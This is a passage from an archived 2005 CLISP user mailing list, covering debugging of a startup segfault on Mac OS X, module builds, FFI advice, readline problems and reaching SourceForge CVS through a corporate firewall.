file eval.d, line 4937. Breakpoint 2 at 0x3e0b0: file eval.d, line 4020. Breakpoint 3 at 0x3729c: file eval.d, line 2882. Breakpoint 4 at 0x46460: file eval.d, line 5906. Breakpoint 5 at 0x10c94: file spvw_garcol.d, line 2430. Hardware watchpoint 6: back_trace Breakpoint 7 at 0x16210: file spvw.d, line 658. Breakpoint 8 at 0x5b44: file spvw.d, line 479. Breakpoint 9 at 0x5c48: file spvw.d, line 494. Breakpoint 10 at 0x1aa034: file error.d, line 349. Breakpoint 11 at 0x1a9f50: file error.d, line 326. Breakpoint 12 at 0x1ab308: file errunix.c, line 680. Breakpoint 13 at 0x1ab410: file errunix.c, line 695. Breakpoint 14 at 0x1ab6c0: file error.d, line 425. Breakpoint 15 at 0x1ab550: file errunix.c, line 723. Num Type Disp Enb Address What 1 breakpoint keep n 0x00042ee4 in funcall at eval.d:4937 xout fun 2 breakpoint keep n 0x0003e0b0 in apply at eval.d:4020 xout fun 3 breakpoint keep n 0x0003729c in eval at eval.d:2882 xout form 4 breakpoint keep n 0x00046460 in interpret_bytecode_ at eval.d:5906 xout closure 5 breakpoint keep n 0x00010c94 in gar_col at spvw_garcol.d:2430 6 hw watchpoint keep n back_trace zbacktrace continue 7 breakpoint keep y 0x00016210 in fehler_notreached at spvw.d: 658 8 breakpoint keep y 0x00005b44 in SP_ueber at spvw.d:479 9 breakpoint keep y 0x00005c48 in STACK_ueber at spvw.d:494 10 breakpoint keep y 0x001aa034 in fehler at error.d:349 11 breakpoint keep y 0x001a9f50 in prepare_error at error.d:326 12 breakpoint keep y 0x001ab308 in OS_error at errunix.c:680 13 breakpoint keep y 0x001ab410 in OS_file_error at errunix.c:695 14 breakpoint keep y 0x001ab6c0 in OS_filestream_error at error.d:425 15 breakpoint keep y 0x001ab550 in errno_out_low at errunix.c:723 Function "sigsegv_handler_failed" not defined. .gdbinit:163: Error in sourced command file: No symbol "byteptr" in current context. (gdb) base (gdb) run Starting program: /Users/mjl/work/clisp-current/build-g/base/lisp.run -B . -N locale -M base/lispinit.mem -q -norc Segmentation fault Johans-Computer:~/work/clisp-current/build-g mjl$ If I read the comments in .gdbinit correctly, the sigsegv "problem" is expected (I assume I am *not* running generational GC, as I have not configured anything like that; by the way, how would I?). I don't understand the "byteptr" error. Vanilla without debug --------------------- This version of CLISP generates a crash dump. Johans-Computer:~/work/clisp-current/clisp mjl$ ./configure --prefix=/ opt/local --build ../build Vanilla with debug ------------------ This version of CLISP does *not* generate a crash dump when I run it *without* using GDB. Johans-Computer:~/work/clisp-current/clisp mjl$ ./configure --prefix=/ opt/local --with-debug --build ../build-g Johans-Computer:~/work/clisp-current/build-g mjl$ gdb lisp.run GNU gdb 6.1-20040303 (Apple version gdb-434) (Wed Nov 2 17:28:16 GMT 2005) Copyright 2004 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "powerpc-apple-darwin"...Reading symbols for shared libraries ....... done Breakpoint 1 at 0x42ee4: file eval.d, line 4937. Breakpoint 2 at 0x3e0b0: file eval.d, line 4020. Breakpoint 3 at 0x3729c: file eval.d, line 2882. Breakpoint 4 at 0x46460: file eval.d, line 5906. Breakpoint 5 at 0x10c94: file spvw_garcol.d, line 2430. Hardware watchpoint 6: back_trace Breakpoint 7 at 0x16210: file spvw.d, line 658. Breakpoint 8 at 0x5b44: file spvw.d, line 479. Breakpoint 9 at 0x5c48: file spvw.d, line 494. Breakpoint 10 at 0x1aa034: file error.d, line 349. Breakpoint 11 at 0x1a9f50: file error.d, line 326. Breakpoint 12 at 0x1ab308: file errunix.c, line 680. Breakpoint 13 at 0x1ab410: file errunix.c, line 695. Breakpoint 14 at 0x1ab6c0: file error.d, line 425. Breakpoint 15 at 0x1ab550: file errunix.c, line 723. Num Type Disp Enb Address What 1 breakpoint keep n 0x00042ee4 in funcall at eval.d:4937 xout fun 2 breakpoint keep n 0x0003e0b0 in apply at eval.d:4020 xout fun 3 breakpoint keep n 0x0003729c in eval at eval.d:2882 xout form 4 breakpoint keep n 0x00046460 in interpret_bytecode_ at eval.d:5906 xout closure 5 breakpoint keep n 0x00010c94 in gar_col at spvw_garcol.d:2430 6 hw watchpoint keep n back_trace zbacktrace continue 7 breakpoint keep y 0x00016210 in fehler_notreached at spvw.d: 658 8 breakpoint keep y 0x00005b44 in SP_ueber at spvw.d:479 9 breakpoint keep y 0x00005c48 in STACK_ueber at spvw.d:494 10 breakpoint keep y 0x001aa034 in fehler at error.d:349 11 breakpoint keep y 0x001a9f50 in prepare_error at error.d:326 12 breakpoint keep y 0x001ab308 in OS_error at errunix.c:680 13 breakpoint keep y 0x001ab410 in OS_file_error at errunix.c:695 14 breakpoint keep y 0x001ab6c0 in OS_filestream_error at error.d:425 15 breakpoint keep y 0x001ab550 in errno_out_low at errunix.c:723 Function "sigsegv_handler_failed" not defined. .gdbinit:163: Error in sourced command file: No symbol "byteptr" in current context. (gdb) base (gdb) run Starting program: /Users/mjl/work/clisp-current/build-g/base/lisp.run -B . -N locale -M base/lispinit.mem -q -norc Segmentation fault Johans-Computer:~/work/clisp-current/build-g mjl$ Does this help in any way? Any more pointers to what I could try? Any additional information I can provide? Kind Regards, johan -- Johan Liseborn From lisp-clisp-list@m.gmane.org Sun Nov 20 13:33:43 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Edwoh-0006vx-Mw for clisp-list@lists.sourceforge.net; Sun, 20 Nov 2005 13:33:43 -0800 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1Edwog-0006jC-C2 for clisp-list@lists.sourceforge.net; Sun, 20 Nov 2005 13:33:43 -0800 Received: from root by ciao.gmane.org with local (Exim 4.43) id 1EdwlY-0008UH-MU for clisp-list@lists.sourceforge.net; Sun, 20 Nov 2005 22:30:28 +0100 Received: from thar.dhcp.asu.edu ([149.169.179.56]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sun, 20 Nov 2005 22:30:28 +0100 Received: from efuzzyone by thar.dhcp.asu.edu with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sun, 20 Nov 2005 22:30:28 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Surendra Singhi Lines: 28 Message-ID: References: <437E3102.3050103@tut.by> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: thar.dhcp.asu.edu Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAvBAMAAABXrFT6AAAAD1BMVEU6Egl4Uj+fSCzOknb5 7uZlO6HiAAACSUlEQVR42nWU4ZWsIAyFA1hAGCgAEwsAQgEysf+aXnB23/hnPY7O8Ts3yQ0BuP64 YD30LzDkDxDHsKekcavHF9RjiDYCOkzc0hc0Vtnp5VMSaRi+oAONQo2pcxF4KN7KROSpd+oAjxxv r16CHjIqS/xWpTPUQxOC5DfJ/ihX3t7K8uVoGlmezrFfMgtFjfv7qejbjrlyrzOdBzwACmsqLKVl bPioCqQUqMJUAXrN/4E4gh07i2BKe92+5YbSuJk/2VqnGh7AuyoGyJHlyOMHDA0bMnkRIenvbw69 Qprc7aNYF9+nAZUF5HKnWhzuffX3lKHdjxvAGToRS+cO0igI0QI6UIHYgDkpbCtgvctg8XKF09sn 6kcpomTrucCleUJ9UXVSOvnXMnqsUKr5ck3LgbTpMKO9u+NTlc7UxF5wSSu0rpJv0BQgxnQly1eX H7I5Wjn61aJNk6LacK3SehsfYJaiyyeEll59CeoNOkXzCg4AbB0Prpzi3SvgNYF1palJWOo4bjCB eU8Rt6ljxtAcvlxbAMFLsTjpGmO61IKN2a0A71gsvrMSMA3IFiOs5PYtChqAgvtQcAlgk1tR4COB kq71B4D3j6J42xYmtGjT3gjm8FZ4v0szCeZrrw4StN2Ag92T3xZJLFhdRNepGSje5tCvTcaSUCBC mMEA7EDFW0IbxDwwVXNUj3PlQLAN+7KhvvDCoNZnZyXZXYq3HWhNHTMHYNWaa1rJrb5lI9kJgIBh DJxOwCb0cxbo+D1W7Dc+Q/17zIw1yD/0H0JDvJOOO8rIAAAAAElFTkSuQmCC User-Agent: Gnus/5.1007 (Gnus v5.10.7) XEmacs/21.5-b22 (daikon, windows-nt) Cancel-Lock: sha1:uR/cP/ZH8gdd1OOHDvhPCCooboI= X-Spam-Score: 0.5 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 DATE_IN_PAST_24_48 Date: is 24 to 48 hours before Received: date 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Subject: [clisp-list] Re: heads up - on-line docs, pre-test etc Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Nov 20 13:34:02 2005 X-Original-Date: Fri, 18 Nov 2005 14:35:08 -0700 Yaroslav Kavenchuk writes: > > [6]> (setf *browser* :mozilla) > :MOZILLA > [7]> (describe 'nreverse) > > NREVERSE is the symbol NREVERSE, lies in #, is > accessible in 17 packages > ASDF, CLOS, COMMON-LISP, COMMON-LISP-USER, EXPORTING, EXT, FFI, LDAP, > MAKE, PCRE, POSIX, RAWSOCK, > READLINE, REGEXP, SCREEN, SYSTEM, ZLIB, names a function, has 1 > property SYSTEM::DOC. > ;; running ["mozilla" "C:\\CL\\doc\\HyperSpec\\Body/f_revers.htm"]... > *** - Win32 error 2 (ERROR_FILE_NOT_FOUND): The system cannot find the > *** file specified. > The following restarts are available: > ABORT :R1 ABORT > > Mozilla is installed > I might be wrong here, but shouldn't the browser be named "firefox". -- Surendra Singhi http://www.public.asu.edu/~sksinghi/index.html The best-laid plans of mice and men go oft astray. From guadarrama@in.tu-clausthal.de Sun Nov 20 14:49:29 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Edxzz-00014Y-Ha for clisp-list@lists.sourceforge.net; Sun, 20 Nov 2005 14:49:27 -0800 Received: from zaphod.in.tu-clausthal.de ([139.174.100.142] helo=mail.in.tu-clausthal.de) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Edxzu-0005aZ-81 for clisp-list@lists.sourceforge.net; Sun, 20 Nov 2005 14:49:27 -0800 Received: from [192.168.0.250] (p54866030.dip.t-dialin.net [84.134.96.48]) (using TLSv1 with cipher RC4-SHA (128/128 bits)) (No client certificate requested) by mail.in.tu-clausthal.de (Postfix) with ESMTP id 6401F2E85BA for ; Sun, 20 Nov 2005 23:49:18 +0100 (CET) Mime-Version: 1.0 (Apple Message framework v623) In-Reply-To: References: <11d0a08dc6c60a4d02bfc5c529434320@in.tu-clausthal.de> <1aab435230c1a4d33a2e081a38231ca9@in.tu-clausthal.de> Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: <339803fb1434e5b009bb4aed8e9d5df3@in.tu-clausthal.de> Content-Transfer-Encoding: 7bit From: Juan C.Acosta Guadarrama To: clisp-list@lists.sourceforge.net X-Mailer: Apple Mail (2.623) X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] Re: REGEXP Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Nov 20 14:50:02 2005 X-Original-Date: Sun, 20 Nov 2005 23:49:16 +0100 On 16 Nov 2005, at 00:38, Sam Steingold wrote: >> * Juan C.Acosta Guadarrama >> [2005-11-16 00:14:29 +0100]: >> >> On the other hand, I'm afraid we've got different versions: could you >> please tell me where configure is located? what about build-re >> directory? > > 1. what is your platform? (uname -a) Thanks! Darwin Jns-iBook.local 7.9.0 Darwin Kernel Version 7.9.0: Wed Mar 30 20:11:17 PST 2005; root:xnu/xnu-517.12.7.obj~1/RELEASE_PPC Power Macintosh powerpc > 2. where did you get your clisp? sources? binaries? I've installed both sources and binaries from Fink sourceforge.net and I never found that configure file. Many thanks in advance. Best, Jn > > >>> build: >>> $ ./configure --with-module=regexp --build build-re >>> >>> run: >>> $ ./build-re/clisp -K full >>> >>> read: >>> http://clisp.cons.org/impnotes/faq.html#faq-modules >>> http://clisp.cons.org/impnotes/regexp-mod.html > > > -- > Sam Steingold (http://www.podval.org/~sds) running w2k > http://www.mideasttruth.com/ http://www.jihadwatch.org/ > http://www.savegushkatif.org http://www.memri.org/ http://truepeace.org > Abandon all hope, all ye who press Enter. > From sds@gnu.org Sun Nov 20 15:58:38 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Edz4w-0003Zg-L2 for clisp-list@lists.sourceforge.net; Sun, 20 Nov 2005 15:58:38 -0800 Received: from smtp01.mrf.mail.rcn.net ([207.172.4.61]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Edz4t-0000hU-GU for clisp-list@lists.sourceforge.net; Sun, 20 Nov 2005 15:58:38 -0800 Received: from 65-78-14-10.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO WINSTEINGOLDLAP) ([65.78.14.10]) by smtp01.mrf.mail.rcn.net with ESMTP; 20 Nov 2005 18:57:34 -0500 X-IronPort-AV: i="3.97,355,1125892800"; d="scan'208"; a="130072418:sNHT22208608" To: clisp-list@lists.sourceforge.net, Juan C.Acosta Guadarrama Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <339803fb1434e5b009bb4aed8e9d5df3@in.tu-clausthal.de> (Juan C. Acosta Guadarrama's message of "Sun, 20 Nov 2005 23:49:16 +0100") References: <11d0a08dc6c60a4d02bfc5c529434320@in.tu-clausthal.de> <1aab435230c1a4d33a2e081a38231ca9@in.tu-clausthal.de> <339803fb1434e5b009bb4aed8e9d5df3@in.tu-clausthal.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, Juan C.Acosta Guadarrama Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: REGEXP Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Nov 20 15:59:00 2005 X-Original-Date: Sun, 20 Nov 2005 18:56:24 -0500 > * Juan C.Acosta Guadarrama [2005-11-20 23:49:16 +0100]: > > I've installed both sources and binaries from Fink sourceforge.net and > I never found that configure file. the sources must include configure. if they don't, please download the latest sources from the official clisp distribution site. all questions about binaries should be directed to your vendor (i.e., the individual who build the binaries for you), but not before you RTFM (http://clisp.cons.org/impnotes/clisp.html#opt-link-set) and try "clisp -K full" -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.dhimmi.com/ http://www.iris.org.il http://truepeace.org http://pmw.org.il/ http://www.camera.org http://www.savegushkatif.org Those who don't know lisp are destined to reinvent it, poorly. From Joerg-Cyril.Hoehle@t-systems.com Mon Nov 21 05:16:24 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EeBWy-0008Ei-FL for clisp-list@lists.sourceforge.net; Mon, 21 Nov 2005 05:16:24 -0800 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EeBWv-0006sT-Sf for clisp-list@lists.sourceforge.net; Mon, 21 Nov 2005 05:16:24 -0800 Received: from S4DE8PSAANQ.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP; Mon, 21 Nov 2005 14:15:59 +0100 Received: by S4DE8PSAANQ.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Mon, 21 Nov 2005 14:15:58 +0100 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A0306DFB5FB@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: raymond.toy@ericsson.com Cc: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] CVS clisp and corporate firewall Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Nov 21 05:17:01 2005 X-Original-Date: Mon, 21 Nov 2005 14:15:58 +0100 Raymond Toy wrote: >Grabbing CVS clisp is a pain through the corporate >firewall. I use the transconnect package (also on sourceforge) to be able to connect to cvs-ssh.sourceforge. This is a different server from the normal one with the sole purpose of having SSH listen on the web SSL port (443 IIRC), instead of 22, which is the only SSL port that our corp. FW lets through. IIRC there's a similar hostname for pserver access (see SF docs). I use this in conjunction with EXPORT CVS_RSH=my_cvs_ssl, a local script which sets the right port (443) for this particular purpose when invoking ssh: #!/bin/sh exec ssh -p 443 "$@" transconnect is a nice package for UNIX using LD_PRELOAD with the effect of enabling networking proxying to be added transparently atop any SW which does not know about proxies. I'd expect transconnect to work on Suns as well. Thanks to transconnect, I can access the SF CVS server! LD_PRELOAD=$HOME/.tconn/tconn.so export LD_PRELOAD cvs foo... curl ... (without using -x) wget ... (without using its own proxy option) ... >It's much easier to stay with a released version. Sure Regards, Jorg Hohle. From Joerg-Cyril.Hoehle@t-systems.com Mon Nov 21 05:45:05 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EeByd-0000tt-8B for clisp-list@lists.sourceforge.net; Mon, 21 Nov 2005 05:44:59 -0800 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EeByc-0008EB-Qy for clisp-list@lists.sourceforge.net; Mon, 21 Nov 2005 05:44:59 -0800 Received: from S4DE8PSAANQ.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP; Mon, 21 Nov 2005 14:44:49 +0100 Received: by S4DE8PSAANQ.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Mon, 21 Nov 2005 14:44:49 +0100 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A0306DFB662@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: kavenchuk@jenty.by, pjb@informatimago.com Subject: [clisp-list] Re: clisp + cffi + clsql problem MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Nov 21 05:46:54 2005 X-Original-Date: Mon, 21 Nov 2005 14:44:40 +0100 Hi, Pascal Bourguigon proposed: >> (defun lisp-string-to-foreign (string ptr size) >> (loop >> :with bytes =3D (ext:convert-string-to-bytes string >> custom:*foreign-encoding*) >> :for byte :across bytes >> :do (setf (%mem-ref ptr :unsigned-char (post-incf i)) byte) Please people, use array-copying functions instead of such element by = element loops. E.g., FFI:MEMORY-AS (setf'able) should be a good match for this = example. It's in version 2.35, if not already in 2.34. Something like (setf (FFI:memory-as ptr (ffi:parse-c-type `(c-array uint8 ,(length my-array)))) my-array) Various optimizations are possible when working with 1:1 encodings = (e.g. use arrays of characters instead of = convert-string-from/to-bytes). For the other direction, what about (with-c-var (s 'c-pointer ptr) (cast s 'c-string)) [IIRC, FFI's handling of non-1:1 is not bogus with c-string, unlike = arrays of fixed numbers of elements] One may also have a look at my file ffi-patches-cvs in the clisp = sourceforge patches section on UFFI: there's an optimized one for = strings of known length. For converting 1 or 2 bytes, these functions are not efficient, but = should pay off as the string gets longer. Regards, J=C3=B6rg H=C3=B6hle. From sds@gnu.org Mon Nov 21 10:23:44 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EeGKO-00061m-Ht for clisp-list@lists.sourceforge.net; Mon, 21 Nov 2005 10:23:44 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EeGKL-0006E6-Ay for clisp-list@lists.sourceforge.net; Mon, 21 Nov 2005 10:23:44 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.120]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jALIN4Nd021095; Mon, 21 Nov 2005 13:23:11 -0500 (EST) To: clisp-list@lists.sourceforge.net, Johan Liseborn Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <5307CCE8-116C-491D-8EBF-B92ACEFE3A32@liseborn.se> (Johan Liseborn's message of "Sun, 20 Nov 2005 17:26:15 +0100") References: <807B7660-DB82-43E2-807E-F4B0A90FC124@liseborn.se> <5307CCE8-116C-491D-8EBF-B92ACEFE3A32@liseborn.se> Mail-Followup-To: clisp-list@lists.sourceforge.net, Johan Liseborn Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ Subject: [clisp-list] Re: CVS head - Crash dump on Mac OS X 10.4.3 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Nov 21 10:24:04 2005 X-Original-Date: Mon, 21 Nov 2005 13:22:04 -0500 > * Johan Liseborn [2005-11-20 17:26:15 +0100]: > > Does this help in any way? yes. SUMMARY: segfault on startup in closed_buffered() when built with "gcc -O2" Exception: EXC_BAD_ACCESS (0x0001) Codes: KERN_PROTECTION_FAILURE (0x0002) at 0x19fb6130 Thread 0 Crashed: 0 lisp.run 0x0006f8b4 closed_buffered + 48 (crt.c:355) 1 lisp.run 0x0007850c closed_all_files + 108 (crt.c:355) 2 lisp.run 0x000289ac loadmem_from_handle + 3168 (crt.c:355) 3 lisp.run 0x00028c68 loadmem + 128 (crt.c:355) 4 lisp.run 0x00029058 init_memory + 888 (crt.c:355) 5 lisp.run 0x0002b610 main + 3940 (crt.c:355) 6 lisp.run 0x00002878 _start + 340 (crt.c:272) 7 lisp.run 0x00002720 start + 60 no segfault when built with "gcc -g" is this correct? > Any more pointers to what I could try? my current conjecture is that this is a GCC bug. could you please figure out which optimization switch causes this? you will need to 1. configure as usual (no "--with-debug") 2. build, make sure that you get the crash. 3. edit build/Makefile and change CFLAGS, removing some optimization flags 4. build again and see if you get the crash. when you find the specific optimization flag that causes the crash, please report it here so that makemake will omit it on macos. 5. upgrade to gcc 4.0 and see if the problem persists. thanks a lot! > Any additional information I can provide? gcc --version uname -a (I am sure it is contained in some of the parent messages already, but I want to keep each message as self-contained - but brief - as possible.) -- Sam Steingold (http://www.podval.org/~sds) running w2k http://truepeace.org http://www.mideasttruth.com/ http://www.iris.org.il http://pmw.org.il/ http://www.savegushkatif.org http://www.palestinefacts.org/ Shady characters are often very bright. From sds@gnu.org Mon Nov 21 10:30:12 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EeGQd-0006Kv-FD for clisp-list@lists.sourceforge.net; Mon, 21 Nov 2005 10:30:11 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EeGQc-0008Dm-Dn for clisp-list@lists.sourceforge.net; Mon, 21 Nov 2005 10:30:11 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.120]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jALITjwq021615; Mon, 21 Nov 2005 13:29:46 -0500 (EST) To: clisp-list@lists.sourceforge.net, Raymond Toy Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Raymond Toy's message of "Fri, 18 Nov 2005 14:07:55 -0500") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Raymond Toy Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] Re: readline Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Nov 21 10:31:02 2005 X-Original-Date: Mon, 21 Nov 2005 13:28:45 -0500 > * Raymond Toy [2005-11-18 14:07:55 -0500]: > >>>>>> "Sam" == Sam Steingold writes: > > Sam> libnoreadline is built unless you specify --with-no-readline (sic!). > Sam> when you _run_ clisp, is readline used? > > Oh, I wasn't clear, because that's how I noticed the problem because > C-p, C-n, tab etc. do nothing except insert themselves. either readline was not found, or clisp thinks that (= stdin stdout) => nil for the first option, "./configure --with-readline" will now fail if it does not find a useable readline installation (ldd will also help after you have built already). for the second option, you need to look at clisp/src/stream.d:stdio_same_tty_p and figure out why it returns 0. -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.memri.org/ http://www.mideasttruth.com/ http://www.savegushkatif.org http://www.palestinefacts.org/ http://ffii.org/ http://www.iris.org.il Beauty is only a light switch away. From rtoy@earthlink.net Mon Nov 21 13:16:24 2005 Received: from 